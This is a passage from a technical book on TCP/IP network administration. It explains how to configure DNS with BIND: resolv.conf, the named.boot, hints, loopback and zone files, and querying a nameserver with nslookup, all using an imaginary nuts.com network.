  • Constructing the nameserver database files, called the zone files

The term zone is often used interchangeably with the word domain, but here we make a distinction between these terms. We use zone to refer to the domain database file, while the term domain is used in more general contexts. In this book, a domain is part of the domain hierarchy identified by a domain name. A zone is a collection of domain information contained in a domain database file. The file that contains the domain information is called a zone file.

RFC 1033, the Domain Administrators Operations Guide, defines the basic set of standard records used to construct zone files. Many RFCs propose new DNS records that are not widely implemented. In this chapter and in Appendix C we stick to the basic resource records that you are most likely to use. We'll use these records to construct the zone files used in this chapter. But how, or even if, you need to construct zone files on your system is controlled by the type of BIND configuration you decide to use.

8.1.1 BIND Configurations

BIND configurations are described by the type of service the software is configured to provide. The four levels of service that can be defined in a BIND configuration are resolver-only systems, caching-only servers, primary servers, and secondary servers.

The resolver is the code that asks nameservers for domain information. On UNIX systems, it is implemented as a library, rather than a separate client program. Some systems, called resolver-only systems, use only the resolver; they don't run a nameserver. Resolver-only systems are very easy to configure: you just need to set up the /etc/resolv.conf file.

The three other BIND configurations all require that the local system run the named server software. They are:

Primary

The primary nameserver is the authoritative source for all information about a specific domain. It loads the domain information from a locally maintained disk file that is built by the domain administrator. This file (the zone file) contains the most accurate information about a piece of the domain hierarchy over which this server has authority. The primary server is a master server, because it can answer any query about its domain with full authority. [2]

[2] The terms master server and authoritative server are used interchangeably.

Configuring a primary server requires creating a complete set of configuration files: zone files for the regular domain and the reverse domain, the boot file, the cache file, and the loopback file. No other configuration requires creating this complete set of files.

Secondary

A secondary server transfers a complete set of domain information from the primary server. The zone file is transferred from the primary server and stored on the secondary server as a local disk file. This transfer is aptly called a zone file transfer. A secondary server keeps a complete copy of all domain information, and can answer queries about that domain with authority. Therefore, a secondary server is also considered a master server.

Configuring a secondary server does not require creating local zone files, because the zone files are downloaded from the primary server. However, the other files (a boot file, a cache file, and a loopback file) are required.

Caching-only

A caching-only server runs the nameserver software, but keeps no nameserver database files. It learns the answer to every nameserver query from some remote server. Once it learns an answer, the server caches the answer and uses it to answer future queries for the same information. All nameservers use cached information in this manner, but a caching-only server depends on this technique for all of its nameserver information. It is not considered an authoritative (or master) server, because all of the information it provides is secondhand. Only a boot file and a cache file are required for a caching-only configuration. But the most common configuration also includes a loopback file. This is probably the most common nameserver configuration, and apart from the resolver-only configuration, it is the easiest to configure.

A server may be any one of these configurations or, as is often the case, it may combine elements of more than one type of configuration. However, all systems run the resolver, so let's begin by examining the configuration of the client side of the DNS software.

Previous: 7.8 Summary | TCP/IP Network Administration | Next: 8.2 Configuring the Resolver
7.8 Summary | Book Index | 8.2 Configuring the Resolver


[Chapter 8] 8.2 Configuring the Resolver

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 8.1 BIND: UNIX Name Service Chapter 8
Configuring DNS Name Service 		Next: 8.3 Configuring named

8.2 Configuring the Resolver

The resolver is configured in the /etc/resolv.conf file. The resolver is not a separate and distinct process; it is a library of routines called by network processes. The resolv.conf file is read when a process using the resolver starts, and is cached for the life of that process. If the configuration file is not found, the resolver attempts to connect to the named server running on the local host. While this may work, I don't recommend it. By allowing the resolver configuration to default, you give up control over your system and become vunerable to variations in the techniques used by different systems to determine the default configuration. For these reasons, the resolver configuration file should be created on every system running BIND.

8.2.1 The Resolver Configuration File

The configuration file clearly documents the resolver configuration. It allows you to identify up to three nameservers, two of which provide backup if the first server doesn't respond. It defines the default domain and various other processing options. The resolv.conf file is an important part of configuring name service.

resolv.conf is a simple, human-readable file. There are system-specific variations in the commands used in the file, but the entries supported by most systems are:

nameserver address

The nameserver entries identify, by IP address, the servers that the resolver is to query for domain information. The nameservers are queried in the order that they appear in the file. If no response is received from a server, the next server in the list is tried until the maximum number of servers are tried. [3] If no nameserver entries are contained in the resolv.conf file or no resolv.conf file exists, all nameserver queries are sent to the local host. However, if there is a resolv.conf file and it contains nameserver entries, the local host is not queried unless one entry points to the local host. Specify the local host with its official IP address, not with the loopback address and not with 0.0.0.0. The official address avoids problems seen on some versions of UNIX. A resolver-only configuration never contains a nameserver entry that points to the local host.

[3] Three is the maximum number of servers tried by most BIND implementations.

domain name

The domain entry defines the default domain name. The resolver appends the default domain name to any hostname that does not contain a dot. [4] It then uses the expanded hostname in the query it sends to the name server. For example, if the hostname almond (which does not contain a dot) is received by the resolver, the default domain name is appended to almond to construct the query. If the value for name in the domain entry is nuts.com, the resolver queries for almond.nuts.com. If the environment variable LOCALDOMAIN is set, it overrides the domain entry and the value of LOCALDOMAIN is used to expand hostname.

[4] This is the most common way that default domain names are used, but it is not the only way. See the section "Domain Names" in Chapter 3 for more details.

search domain ...

The search entry defines a series of domains that are searched when a hostname does not contain a dot. Assume the entry search essex.nuts.com butler.nuts.com. A query for the hostname roaster is first tried as roaster.essex.nuts.com. If that fails to provide a successful match, the resolver queries for roaster.butler.nuts.com. If that query fails, no other attempts are made to resolve the hostname. This is different from the action of the domain entry. Assume the entry domain butler.nuts.com. Now a query for roaster is first tried as roaster.butler.nuts.com and then as roaster.nuts.com if the first query fails. When a search statement is used, only the domains explicitly mentioned on the command line are searched. When a domain statement is used, the default domain and its parents are searched. A parent domain must be at least two fields long to be searched. The resolver would not search for roaster.com. Use either a search statement or a domain statement. Never use both in the same configuration. If the environment variable LOCALDOMAIN is set, it overrides the search entry.

sortlist network ...

Addresses from the networks listed on the sortlist command are preferred over other addresses. If the resolver receives multiple addresses in response to a query about a multi-homed host or a router, it reorders the addresses so that an address from a network listed in the sortlist statement is placed in front of the other addresses. Normally addresses are returned to the application by the resolver in the order that they are received. The only exception to this is that, by default, addresses on a shared network are preferred over other addresses. So if the computer running the resolver is connected to network 172.16.0.0 and one of the addresses returned in a multiple address response is from that network, the address from 172.16.0.0 is placed in front of the other addresses.

The sortlist command is rarely used. To be of any use, it requires that a remote host has multiple addresses for the same name; that the path to one of those addresses is clearly superior to the others; and that you know enough about the remote configuration to know which address is preferable.

options option ...

The options entry is used to select optional settings for the resolver. At this writing there are two valid keywords for option: debug to turn on debugging; and ndots:n to set the number of dots in a hostname used to determine whether or not the default domain needs to be applied. The default is 1. Therefore a hostname with one dot in it does not have the default domain appended before it is passed to the nameserver. If options ndots:2 is specified, a hostname with one dot in it has the default domain added before the query is sent out, but an address with two or more dots does not have the default domain added.

The most common resolv.conf configuration defines the default domain name, the local host as the first nameserver, and two backup nameservers. An example of this configuration is:

# Domain name resolver configuration file
#
domain nuts.com
# try yourself first
nameserver 172.16.12.2
# try almond next
nameserver 172.16.12.1
# finally try filbert
nameserver 172.16.1.2

The example is based on our imaginary network, so the default domain name is nuts.com. The configuration is for peanut and it specifies itself as the first nameserver. The backup servers are almond and filbert. The configuration does not contain a sort list or any options, as these are infrequently used. This is an example of an average resolver configuration.

8.2.1.1 A resolver-only configuration

The resolver-only configuration is very simple. It is identical to the average configuration shown above except that it does not contain a nameserver entry for the local system. A sample resolv.conf file for a resolver-only system is shown below:

# Domain name resolver configuration file
#
domain nuts.com
# try almond
nameserver 172.16.12.1
# next try filbert
nameserver 172.16.1.2

The configuration tells the resolver to pass all queries to almond; if that fails, try filbert. Queries are never resolved locally. This simple resolv.conf file is all that is required for a resolver-only configuration.

Previous: 8.1 BIND: UNIX Name Service | TCP/IP Network Administration | Next: 8.3 Configuring named
8.1 BIND: UNIX Name Service | Book Index | 8.3 Configuring named


[Chapter 8] 8.3 Configuring named

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 8.2 Configuring the Resolver Chapter 8
Configuring DNS Name Service 		Next: 8.4 Using nslookup

8.3 Configuring named

While the resolver configuration requires, at most, one configuration file, several files are used to configure named. The complete set of named configuration files are:

named.boot

Sets general named parameters and points to the sources of domain database information used by this server. These sources can be local disk files or remote servers.

named.ca

Points to the root domain servers

named.local

Used to locally resolve the loopback address

named.hosts

The zone file that maps hostnames to IP addresses

named.rev

The zone file for the reverse domain that maps IP addresses to hostnames

The filenames shown here are generic names. We use them to make it easier to discuss the files in this text. The files can have any names you wish. Use the filenames named.boot and named.local for the boot file and the loopback address file. Use the name named.ca or one of the well-known alternatives, named.root and root.ca, for the file that lists the root servers. However, don't use the names named.hosts and named.rev for your zone files. Use descriptive names. In the following sections, we'll look at how each of these files is used, starting with named.boot.

8.3.1 The named.boot File

The named.boot file points named to sources of DNS information. Some of these sources are local files; others are remote servers. You only need to create the files referenced in the primary and cache statements. We'll look at an example of each type of file you may need to create.

Table 8.1 summarizes the named.boot configuration statements used in this chapter. It provides just enough information to help you understand the examples. Not all of the named.boot configuration commands are used in the examples, and you probably won't use all of the commands in your configuration. The commands are designed to cover the full spectrum of configurations, even the configurations of root servers. If you want more details about all of the named.boot configuration statements, Appendix C contains a full explanation of each command.

Table 8.1: named.boot Configuration Commands
Command | Function
directory | Defines a directory for all subsequent file references
primary | Declares this server as primary for the specified zone
secondary | Declares this server as secondary for the specified zone
cache | Points to the cache file
forwarders | Lists servers to which queries are forwarded
options | Enables optional BIND processing
xfrnets | Limits zone transfers to specific addresses

The way in which you configure the named.boot file controls whether the nameserver acts as a primary server, a secondary server, or a caching-only server. The best way to understand these different configurations is to look at sample named.boot files. The next sections show examples of each type of configuration.

8.3.1.1 Configuring a caching-only nameserver

A caching-only server configuration is simple. A named.boot file and a named.ca file are all that you need, though the named.local file is usually also used. The most common named.boot file for a caching-only server is:

;
;  a caching-only server configuration
;
primary         0.0.127.IN-ADDR.ARPA    /etc/named.local
cache           .                       /etc/named.ca

The only line in this sample file required for a caching-only configuration is the cache statement. It tells named to maintain a cache of nameserver responses, and to initialize the cache with the list of root servers found in the file named.ca. The name of the file containing the root server list can be any name you wish, but root.cache, named.root, and named.ca are often used. The presence of a cache statement does not make this a caching-only configuration; a cache statement is used in every server configuration. It is the absence of primary and secondary statements that makes this a caching-only configuration.

However, there is one primary statement that is an exception to this rule. You'll see it in our sample named.boot file, and in almost every caching-only configuration. It defines the local server as the primary server for its own loopback domain, and it says that the information for the loopback domain is stored in the file named.local. The loopback domain is an in-addr.arpa domain [5] that maps the address 127.0.0.1 to the name localhost. The idea of resolving your own loopback address makes sense to most people, so most named.boot files contain this entry.

[5] See Chapter 4, Getting Started , for a description of in-addr.arpa domains.

These primary and cache statements are the only statements used in most caching-only server configurations, but other statements can be added. A forwarders statement, and even an options statement are sometimes used. The forwarders statement causes the caching-only server to send all of the queries that it cannot resolve from its own cache to specific servers. For example:

forwarders 172.16.12.1 172.16.1.2

This statement forwards every query that cannot be answered from the local cache to 172.16.12.1 and 172.16.1.2. The forwarders command builds a rich DNS cache on selected servers located on the local network. This reduces the number of times that queries must be sent out on the wide area network, which is particularly useful if you have limited bandwidth to the wide area network or if you are charged for usage.

When network access to the outside world is severely limited, use the following statement to force the local server to always use the forwarder.

options forward-only

With this statement in the configuration file, the local server will not attempt to resolve a query itself even if it cannot get an answer to that query from the forwarders.

Adding forwarders or options statements does not change this from being a caching-only server configuration. Only the addition of primary and secondary commands will do that.

8.3.1.2 Primary and secondary server configurations

The imaginary nuts.com domain is the basis for our sample primary and secondary server configurations. Here is the named.boot file to define almond as the primary server for the nuts.com domain:

;
;  nuts.com primary nameserver boot file.
;
directory                              /etc
primary   nuts.com                     named.hosts
primary   16.172.IN-ADDR.ARPA          named.rev
primary   0.0.127.IN-ADDR.ARPA         named.local
cache     .                            named.ca

The directory statement saves keystrokes on the subsequent filenames. It tells named that all relative filenames (i.e., filenames that don't begin with a /), no matter where they occur in the named configuration, are relative to the directory /etc.

The first primary statement declares that this is the primary server for the nuts.com domain, and that the data for that domain is loaded from the file named.hosts. In our examples, we'll use the filename named.hosts as the zone filename, but you should choose a more descriptive filename. For example, a better name for the nuts.com zone file is nuts.com.hosts.

The second primary statement points to the file that maps IP addresses from 172.16.0.0 to hostnames. This statement says that the local server is the primary server for the reverse domain 16.172.in-addr.arpa, and that the data for that domain is loaded from the file named.rev. Again, the filename named.rev is just an example; use descriptive names in your actual configuration.

The format of a primary statement is the keyword primary, the domain name, and the name of the zone file from which the domain information is read. All primary statements have this simple format.

The final two statements in the sample configuration are the primary statement for the loopback domain and the cache statement. These statements are discussed earlier in the section about caching-only configurations. They have the same function in every configuration and are found in almost every configuration.

A secondary server's configuration differs from a primary's by using secondary instead of primary statements. Secondary statements point to remote servers as the source of the domain information instead of local disk files. Secondary statements begin with the keyword secondary, followed by the name of the domain, the address of one or more authoritative servers for that domain, and finally the name of a local file where information received from the remote server will be stored. The following named.boot file configures filbert as a secondary server for the nuts.com domain:

;
;  nuts.com secondary nameserver boot file.
;
directory                                       /etc
secondary   nuts.com              172.16.12.1   nuts.com.hosts
secondary   16.172.IN-ADDR.ARPA   172.16.12.1   172.16.rev
primary     0.0.127.IN-ADDR.ARPA                named.local
cache       .                                   named.ca

The first secondary statement makes this a secondary server for the nuts.com domain. The statement tells named to download the data for the nuts.com domain from the server at IP address 172.16.12.1, and to store that data in the file /etc/nuts.com.hosts. If the nuts.com.hosts file does not exist, named creates it, gets the zone data from the remote server, and writes the data in the newly created file. If the file does exist, named checks with the remote server to see if the remote server's data is different from the data in the file. If the data has changed, named downloads the updated data and overwrites the file contents with the new data. If the data has not changed, named loads the contents of the disk file and doesn't bother with a zone transfer. [6] Keeping a copy of the database on a local disk file makes it unnecessary to transfer the zone file every time the local host is rebooted. It's only necessary to transfer the zone when the data changes.

[6] Appendix C (in the SOA record section) discusses how named determines if data has been updated.

The next line in this configuration says that the local server is also a secondary server for the reverse domain 16.172.in-addr.arpa, and that the data for that domain should also be downloaded from 172.16.12.1. The reverse domain data is stored locally in a file named 172.16.rev, following the same rules discussed previously for creating and overwriting nuts.com.hosts.

8.3.2 Standard Resource Records

The configuration commands discussed above and listed in Table 8.1 are used only in the named.boot file. All other files used to configure named (named.hosts, named.rev, named.local, and named.ca) store domain database information. These files all have the same basic format and use the same type of database records. They use standard resource records, called RRs. These are defined in RFC 1033, the Domain Administrators Operations Guide, and other RFCs. Table 8.2 summarizes all of the standard resource records used in this chapter. These records are covered in detail in Appendix C.

Table 8.2: Standard Resource Records
Resource Record | Record | Function
Text Name | Type |
Start of Authority | SOA | Marks the beginning of a zone's data, and defines parameters that affect the entire zone.
Nameserver | NS | Identifies a domain's nameserver.
Address | A | Converts a hostname to an address.
Pointer | PTR | Converts an address to a hostname.
Mail Exchange | MX | Identifies where to deliver mail for a given domain name.
Canonical Name | CNAME | Defines an alias hostname.
Host Information | HINFO | Describes a host's hardware and OS.
Well-Known Service | WKS | Advertises network services.
Text | TXT | Stores arbitrary text strings.

The resource record syntax is described in Appendix C, but a little understanding of the structure of these records is necessary to read the sample configuration files used in this chapter.

The format of DNS resource records is:

[name] [ttl] IN type data

name

This is the name of the domain object the resource record references. It can be an individual host or an entire domain. The string entered for the name field is relative to the current domain unless it ends with a dot. If the name field is blank, the record applies to the domain object that was named last. For example, if the A record for peanut is followed by an MX record with a blank name field, both the A record and the MX record apply to peanut.

ttl

Time-to-live defines the length of time, in seconds, that the information in this resource record should be kept in a remote system's cache. Usually this field is left blank and the default ttl, set for the entire zone in the SOA record, is used. [7]

[7] See the section on SOA records in Appendix C.

IN

Identifies the record as an Internet DNS resource record. There are other classes of records, but they are rarely used. Curious? See Appendix C for the other, non-Internet, classes.

type

Identifies the kind of resource record. Table 8.2 lists the record types under the heading "Record Type." Specify one of these values in the type field.

data

The information specific to this type of resource record. For example, in an A record this is the field that contains the actual IP address.

In the following sections we look at each of the remaining configuration files. As you look at the files, remember that all of the records in these files are standard resource records that follow the format described above.

8.3.3 The Cache Initialization File

The cache statement in named.boot points to a cache initialization file. Each server that maintains a cache has such a file. It contains the information needed to begin building a cache of domain data when the nameserver starts. The root domain is indicated on the cache statement by a single dot, and the named.ca file contains the names and addresses of the root servers.

The named.ca file is sometimes called a "hints" file, because it contains hints named uses to initialize the cache. The hints it contains are the names and addresses of the root servers. It is used to help the local server locate a root server during startup. Once a root server is found, an authoritative list of root servers is downloaded from that server. The hints are not referred to again until the local server is forced to restart. The information in the named.ca file is not referred to often, but it is critical for booting a named server.

The basic named.ca file contains NS records that name the root servers, and A records that provide the addresses of the root servers. A sample named.ca file is shown below:

;
.                     3600000  IN  NS   A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.   3600000  IN  A    198.41.0.4
;
.                     3600000      NS   B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET.   3600000  IN  A    128.9.0.107
;
.                     3600000      NS   C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET.   3600000  IN  A    192.33.4.12
;
.                     3600000      NS   D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET.   3600000  IN  A    128.8.10.90
;
.                     3600000      NS   E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET.   3600000  IN  A    192.203.230.10
;
.                     3600000      NS   F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET.   3600000  IN  A    192.5.5.241
;
.                     3600000      NS   G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET.   3600000  IN  A    192.112.36.4
;
.                     3600000      NS   H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET.   3600000  IN  A    128.63.2.53
;
.                     3600000      NS   I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET.   3600000  IN  A    192.36.148.17

This file contains only nameserver and address records. Each NS record identifies a nameserver for the root (.) domain. The associated A record gives the address of each root server. The ttl value for all of these records is 3600000 - a very large value that is approximately 42 days.

Create the named.ca file by downloading the file domain/named.root from rs.internic.net (198.41.0.7) via anonymous ftp. The file stored at the InterNIC is in the correct format for a UNIX system. The example below shows the superuser downloading the named.root file directly into the local system's named.ca file. The file doesn't even need to be edited: it is ready to run.

# ftp rs.internic.net
Connected to rs.internic.net.
Name (rs.internic.net:craig): anonymous
331 Guest login ok, send your email address as password.
Password: craig@nuts.com
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get domain/named.root named.ca
200 PORT command successful.
150 Opening data connection for domain/named.root (2119 bytes).
226 Transfer complete.
2119 bytes received in 0.137 secs (15 Kbytes/sec)
ftp> quit
221 Goodbye.

Download the named.root file every few months to keep accurate root server information in your cache. A bogus root server entry could cause problems with your local server. The data given above is correct as of publication, but could change at any time.

If your system is not connected to the Internet, it won't be able to communicate with the root servers. Initializing your cache file with the servers listed above would be useless. In this case, initialize your cache with entries that point to the major nameservers on your local network. Those servers must also be configured to answer queries for the "root" domain. However, this root domain contains only NS records pointing to the domain servers on your local network. For example: assume that nuts.com is not connected to the Internet and that almond and pecan are going to act as root servers for this isolated domain. Both servers declare they are primary for the root domain in their named.boot files. They load the root from a zone file that contains NS records and A records, stating that they are authoritative for the root and delegating the nuts.com and 16.172.in-addr.arpa domains to the local nameservers that service those domains. (How domains are delegated is covered later in the chapter.) Details of this type of configuration are provided in DNS and BIND by Liu and Albitz (O'Reilly & Associates).

8.3.4 The named.local File

The named.local file is used to convert the address 127.0.0.1 (the "loopback address") into the name localhost. It's the zone file for the reverse domain 0.0.127.IN-ADDR.ARPA. Because all systems use 127.0.0.1 as the "loopback" address, this file is virtually identical on every server. Here's a sample named.local file:

@          IN  SOA      almond.nuts.com. jan.almond.nuts.com. (
                        1               ; serial

                        360000          ; refresh every 100 hours
                        3600            ; retry after 1 hour
                        3600000         ; expire after 1000 hours
                        360000          ; default ttl is 100 hours
                        )
           IN  NS       almond.nuts.com.
0          IN  PTR      loopback.
1          IN  PTR      localhost.

Neither the NS record nor the first PTR record is required. The first PTR record maps the network 127.0.0.0 to the name loopback, which is an alternative to mapping the network name in the /etc/networks file. Only the SOA record and the second PTR record are needed. The required PTR record is the same on every host: host address 1 on network 127.0.0 is mapped to the name localhost.

The SOA record's data fields and the NS record that contains the computer's hostname vary from system to system. The sample SOA record identifies almond.nuts.com. as the server originating this zone, and the email address jan.almond.nuts.com. as the point of contact for any questions about the zone. (Note that in an SOA record the email address is written with a dot separating the recipient's name from the hostname: jan is the user and almond.nuts.com is the host.) Many systems do not include the NS record; but when it is used, it contains the computer's hostname. Change these three data fields and you can use this identical file on any host.

The files discussed so far, named.boot, named.ca, and named.local, are the only files required to configure caching-only servers and secondary servers. Most of your servers will use only these files, and the files used will contain almost identical information on every server.

The simplest way to create these three files is to copy a sample file and modify it for your system. Most systems come with sample files. If your system doesn't, sample configuration files are available in the conf/master directory [8] of the bind.tar.gz file. This compressed tar file can be obtained via anonymous ftp from the isc/bind/src directory on ftp.isc.org. The named.local file shown above was derived from the named.local sample that comes with BIND.

[8] The sample named.ca file in this directory is called root.cache.

The remaining named configuration files, named.hosts and named.rev, are more complex, but the relative number of systems that require these files is small. Only the primary server needs all of the configuration files, and there should be only one primary server per zone.

8.3.5 The Reverse Domain File

The named.rev file is very similar in structure to the named.local file. Both of these files translate IP addresses into hostnames, so both files contain PTR records.

The named.rev file in our example is the zone file for the 16.172.in-addr.arpa domain. The domain administrator creates this file on almond, and every other host that needs this information gets it from there.

;
;        Address to hostname mappings.
;
@       IN      SOA     almond.nuts.com. jan.almond.nuts.com. (
                                10099   ;   Serial
                                43200   ;   Refresh
                                3600    ;   Retry
                                3600000 ;   Expire
                                2592000 ) ; Minimum
                IN      NS      almond.nuts.com.
                IN      NS      filbert.nuts.com.
                IN      NS      foo.army.mil.
1.12            IN      PTR     almond.nuts.com.
2.12            IN      PTR     peanut.nuts.com.
3.12            IN      PTR     pecan.nuts.com.
4.12            IN      PTR     walnut.nuts.com.
2.1             IN      PTR     filbert.nuts.com.
6               IN      NS      salt.plant.nuts.com.
                IN      NS      pecan.nuts.com.

Like all zone files, the named.rev file begins with an SOA record. The @ in the name field of the SOA record references the current domain. In this case it is the domain defined by the primary statement in our sample named.boot file:

primary   16.172.IN-ADDR.ARPA              named.rev

The @ in the SOA record allows the primary statement to define the zone file domain. This same SOA record is used on every zone; it always references the correct domain name because it references the domain defined for that particular zone file in named.boot. Change the hostname (almond.nuts.com.) and the manager's mail address (jan.almond.nuts.com.), and use this SOA record in any of your zone files.

The NS records that follow the SOA record define the nameservers for the domain. Generally the nameservers are listed immediately after the SOA, before any other record has the chance to modify the domain name. Recall that a blank name field means that the last domain name is still in force. The SOA's domain reference is still in force because the following NS records have blank name fields.

PTR records dominate the named.rev file because they are used to translate addresses to hostnames. The PTR records in our example provide address-to-name conversions for hosts 12.1, 12.2, 12.3, 12.4, and 2.1 on network 172.16. Because they don't end in dots, the values in the name fields of these PTR records are relative to the current domain. For example, the value 3.12 is interpreted as 3.12.16.172.in-addr.arpa. The host name in the data field of the PTR record is fully qualified to prevent it from being relative to the current domain name. Using the information in this PTR, named will translate 3.12.16.172.in-addr.arpa into pecan.nuts.com.

The last two lines of this file are additional NS records. As with any domain, subdomains can be created in an in-addr.arpa domain. This is what the last two NS records do. These NS records point to pecan and salt as nameservers for the subdomain 6.16.172.in-addr.arpa. Any query for information in the 6.16.172.in-addr.arpa subdomain is referred to them. NS records that point to the servers for a subdomain must be placed in the higher-level domain before you can use that subdomain.

Subdomains in the in-addr.arpa domain are not as common or as useful as subdomains in the host namespace. Domain names and IP addresses are not the same thing, and do not have the same structure. When an IP address is turned into an in-addr.arpa domain name, the four bytes of the address are treated as four distinct pieces. In reality, the IP address is 32 contiguous bits. Subnets divide up the IP address space and subnet masks are bit-oriented, which does not limit them to byte boundaries. in-addr.arpa subdomains divide up the domain name space and can only occur at a full byte boundary because each byte of the address is treated as a distinct "name."

8.3.6 The named.hosts File

The named.hosts file contains most of the domain information. This file converts hostnames to IP addresses, so A records predominate; but it also contains MX, CNAME, and other records. The named.hosts file, like the named.rev file, is only created on the primary server. All others servers get this information from the primary server.

;
;       Addresses and other host information.
;
@       IN      SOA     almond.nuts.com. jan.almond.nuts.com. (
                                10118      ; Serial
                                43200      ; Refresh
                                3600       ; Retry
                                3600000    ; Expire
                                2592000 )  ; Minimum
;	Define the nameservers and the mail servers
                IN      NS      almond.nuts.com.
                IN      NS      filbert.nuts.com.
                IN      NS      foo.army.mil.
                IN      MX      10 almond.nuts.com.
                IN      MX      20 pecan.nuts.com.
;
;       Define localhost
;
localhost       IN      A       127.0.0.1
;
;       Define the hosts in this zone
;
almond          IN      A       172.16.12.1
                IN      MX      5 almond.nuts.com.
loghost         IN      CNAME   almond.nuts.com.
peanut          IN      A       172.16.12.2
                IN      MX      5 almond.nuts.com.
goober          IN      CNAME   peanut.nuts.com.
pecan           IN      A       172.16.12.3
walnut          IN      A       172.16.12.4
filbert         IN      A       172.16.1.2
;       host table has BOTH host and gateway entries for 10.104.0.19
mil-gw          IN      A       10.104.0.19
;
;    Glue records for servers within this domain
;
pack.plant      IN      A       172.16.18.15
acorn.sales     IN      A       172.16.6.1
;
;       Define sub-domains
;
plant           IN      NS      pack.plant.nuts.com.
                IN      NS      pecan.nuts.com.
sales           IN      NS      acorn.sales.nuts.com.
                IN      NS      pack.plant.nuts.com.

Like the named.rev file, the named.hosts file begins with an SOA record and a few NS records that define the domain and its servers, but the named.hosts file contains a wider variety of resource records than a named.rev file does. We'll look at each of these records in the order in which they occur in the sample file, so that you can follow along using the sample file as your reference.

The first MX record identifies a mail server for the entire domain. This record says that almond is the mail server for nuts.com with a preference of 10. Mail addressed to user@nuts.com is redirected to almond for delivery. Of course for almond to successfully deliver the mail, it must be properly configured as a mail server. The MX record is only part of the story. We look at configuring sendmail in Chapter 10, sendmail .

The second MX record identifies pecan as a mail server for nuts.com with a preference of 20. Preference numbers let you define alternate mail servers. The lower the preference number, the more desirable the server. Therefore, our two sample MX records say "send mail for the nuts.com domain to almond first; if almond is unavailable, try sending the mail to pecan." Rather than relying on a single mail server, preference numbers allow you to create backup servers. If the main mail server is unreachable, the domain's mail is sent to one of the backups instead.

These sample MX records redirect mail addressed to nuts.com, but mail addressed to user@walnut.nuts.com will still be sent directly to walnut.nuts.com - not to almond or pecan. This configuration allows simplified mail addressing in the form user@nuts.com for those who want to take advantage of it, but it continues to allow direct mail delivery to individual hosts for those who wish to take advantage of that.

The first A record in this example defines the address for localhost. This is the opposite of the PTR entry in the named.local file. It allows users within the nuts.com domain to enter the name localhost and have it resolved to the address 127.0.0.1 by the local nameserver.

The next A record defines the IP address for almond. (Note that the records that relate to a single host are grouped together, which is the most common structure used in zone files.) The A record is followed by an MX record and a CNAME record that both relate to almond. The almond MX record points back to the host itself, and the CNAME record defines an alias for the host name.

This host-specific MX record is provided as a courtesy to remote mailers. Some mailer implementations look for an MX record first, and then query for the host's address. Providing an MX record saves these mailers one additional nameserver query.

peanut's A record is also followed by an MX record and a CNAME record. However, peanut's MX record serves a different purpose. It directs all mail addressed to user@peanut.nuts.com to almond. This MX record is required because the MX records at the beginning of the zone file redirect mail only if it is addressed to user@nuts.com. If you also want to redirect mail addressed to peanut, you need a "peanut-specific" MX record.

The name field of the CNAME record contains an alias for the official hostname. The official name, called the canonical name, is provided in the data field of the record. Because of these records, almond can be referred to by the name loghost, and peanut can be referred to as goober. The loghost alias is a generic hostname used to direct syslogd output to almond. [9] Hostname aliases should not be used in other resource records. [10] For example, don't use an alias as the name of a mail server in an MX record. Use only the "canonical" (official) name that's defined in an A record.

[9] See Chapter 3 for a further discussion of generic hostnames.

[10] See Appendix C for additional information about using CNAME records in the named.hosts file.

Your named.hosts file will be much larger than the sample file we've discussed, but it will contain essentially the same records. If you know the names and addresses of the hosts in your domain, you have most of the information necessary to create the named configuration.

8.3.6.1 Starting named

After you construct the named.boot file and the required zone files, start named. named is usually started at boot time from a startup script, but it can be started at the command prompt:

# named

The first time you run it, watch for error messages. named logs errors to the messages file. [11] Once named is running to your satisfaction, use nslookup to query the nameserver to make sure it is providing the correct information.

[11] This file if found at /usr/adm/messages on both our Linux and Solaris sample systems but it might be located somewhere else on your system. Check your system's documentation.

Previous: 8.2 Configuring the Resolver | TCP/IP Network Administration | Next: 8.4 Using nslookup
8.2 Configuring the Resolver | Book Index | 8.4 Using nslookup


[Chapter 8] 8.4 Using nslookup

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 8.3 Configuring named Chapter 8
Configuring DNS Name Service 		Next: 8.5 Summary

8.4 Using nslookup

nslookup is a debugging tool provided as part of the BIND software package. It allows anyone to directly query a nameserver and retrieve any of the information known to the DNS system. It is helpful for determining if the server is running correctly and is properly configured, or for querying for information provided by remote servers.

The nslookup program is used to resolve queries either interactively or directly from the command line. Below is a command-line example of using nslookup to query for the IP address of a host:

% nslookup almond.nuts.com
Server:  peanut.nuts.com
Address:  172.16.12.2

Name:    almond.nuts.com
Address:  172.16.12.1

Here, a user asks nslookup to provide the address of almond.nuts.com. nslookup displays the name and address of the server used to resolve the query, and then it displays the answer to the query. This is useful, but nslookup is more often used interactively.

The real power of nslookup is seen in interactive mode. To enter interactive mode, type nslookup on the command line without any arguments. Terminate an interactive session by entering CTRL-D (^D) or the exit command at the nslookup prompt. Redone in an interactive session, the previous query shown is:

% nslookup
Default Server:  peanut.nuts.com
Address:  172.16.12.2

> almond.nuts.com
Server:  peanut.nuts.com
Address:  172.16.12.2

Name:    almond.nuts.com
Address:  172.16.12.1

> ^D

By default, nslookup queries for A records, but you can use the set type command to change the query to another resource record type, or to the special query type "ANY." ANY is used to retrieve all available resource records for the specified host.

The following example checks MX records for almond and peanut. Note that once the query type is set to MX, it stays MX. It doesn't revert to the default A-type query. Another set type command is required to reset the query type.

% nslookup
Default Server:  peanut.nuts.com
Address:  172.16.12.2

> set type=MX
> almond.nuts.com
Server:  peanut.nuts.com
Address:  172.16.12.2

almond.nuts.com    preference = 5, mail exchanger = almond.nuts.com
almond.nuts.com    inet address = 172.16.12.1

> peanut.nuts.com
Server:  peanut.nuts.com
Address:  172.16.12.2

peanut.nuts.com    preference = 5, mail exchanger = peanut.nuts.com
peanut.nuts.com    inet address = 172.16.12.2
> exit

